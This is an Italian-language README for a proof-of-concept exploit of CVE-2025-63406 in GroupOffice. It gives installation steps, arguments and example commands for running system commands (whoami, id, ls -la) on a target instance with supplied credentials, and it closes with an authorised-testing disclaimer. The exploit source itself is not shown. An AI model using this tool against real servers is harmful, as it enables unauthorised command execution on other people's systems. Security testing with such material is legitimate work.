CVE-2025-63406 PoC

Installazione

# Installa le dipendenze
pip install -r requirements.txt

# Oppure usa un ambiente virtuale
python3 -m venv venv
source venv/bin/activate  # Su Windows: venv\Scripts\activate
pip install -r requirements.txt

Utilizzo

python3 CVE-2025-63406.py -u <URL> -n <USERNAME> -p <PASSWORD> -c <COMMAND>

Argomenti

• -u, --url: URL base dell'istanza GroupOffice (es. http://localhost:9090)
• -n, --username: Nome utente per l'autenticazione
• -p, --password: Password per l'autenticazione
• -c, --command: Comando di sistema da eseguire (es. whoami, id, ls -la)

Esempi

# Esegui il comando whoami
python3 CVE-2025-63406.py -u http://localhost:9090 -n admin -p password -c whoami

# Esegui il comando id
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c id

# Elenca i file nella directory corrente
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c "ls -la"

# Ottieni informazioni di sistema
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c "uname -a"

Disclaimer

⚠️ Questo strumento è destinato esclusivamente a test autorizzati. L'accesso non autorizzato a sistemi informatici è illegale.